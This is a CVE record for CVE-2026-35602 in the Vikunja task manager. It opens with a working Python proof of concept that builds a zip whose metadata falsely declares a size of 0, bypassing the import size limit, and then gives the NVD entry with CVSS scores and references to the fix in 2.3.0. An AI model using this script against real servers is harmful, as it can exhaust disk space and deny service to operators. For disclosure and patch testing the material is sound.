CVE-2026-35602

import zipfile import os # Create a malicious zip file to bypass size check zip_filename = "malicious_vikunja_import.zip" large_file_size = 100 * 1024 * 1024 # Target 100MB uncompressed size with zipfile.ZipFile(zip_filename, 'w', zipfile.ZIP_DEFLATED) as zf: # 1. Create project.json metadata with Size set to 0 # This bypasses the server-side size enforcement check metadata = '{"files": [{"file": "data.bin", "size": 0}]}' zf.writestr("project.json", metadata) # 2. Add a large file that compresses well (e.g., all zeros) # When decompressed on the server, this will consume 100MB of disk space # despite the metadata claiming size 0. # Creating a buffer of zeros for high compression ratio zero_buffer = bytes(large_file_size) zf.writestr("data.bin", zero_buffer) print(f"Generated {zip_filename}. Upload this to the Vikunja import endpoint.")

{"cve": {"id": "CVE-2026-35602", "sourceIdentifier": "[email protected]", "published": "2026-04-10T17:17:03.993", "lastModified": "2026-04-17T21:49:40.743", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the Vikunja file import endpoint uses the attacker-controlled Size field from the JSON metadata inside the import zip instead of the actual decompressed file content length for the file size enforcement check. By setting Size to 0 in the JSON while including large compressed file entries in the zip, an attacker bypasses the configured maximum file size limit. This vulnerability is fixed in 2.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.0", "matchCriteriaId": "CC8B46CF-6E7B-46F4-8275-D1A38F2A6D5E"}]}]}], "references": [{"url": "https://github.com/go-vikunja/vikunja/pull/2575", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-qh78-rvg3-cv54", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-qh78-rvg3-cv54", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}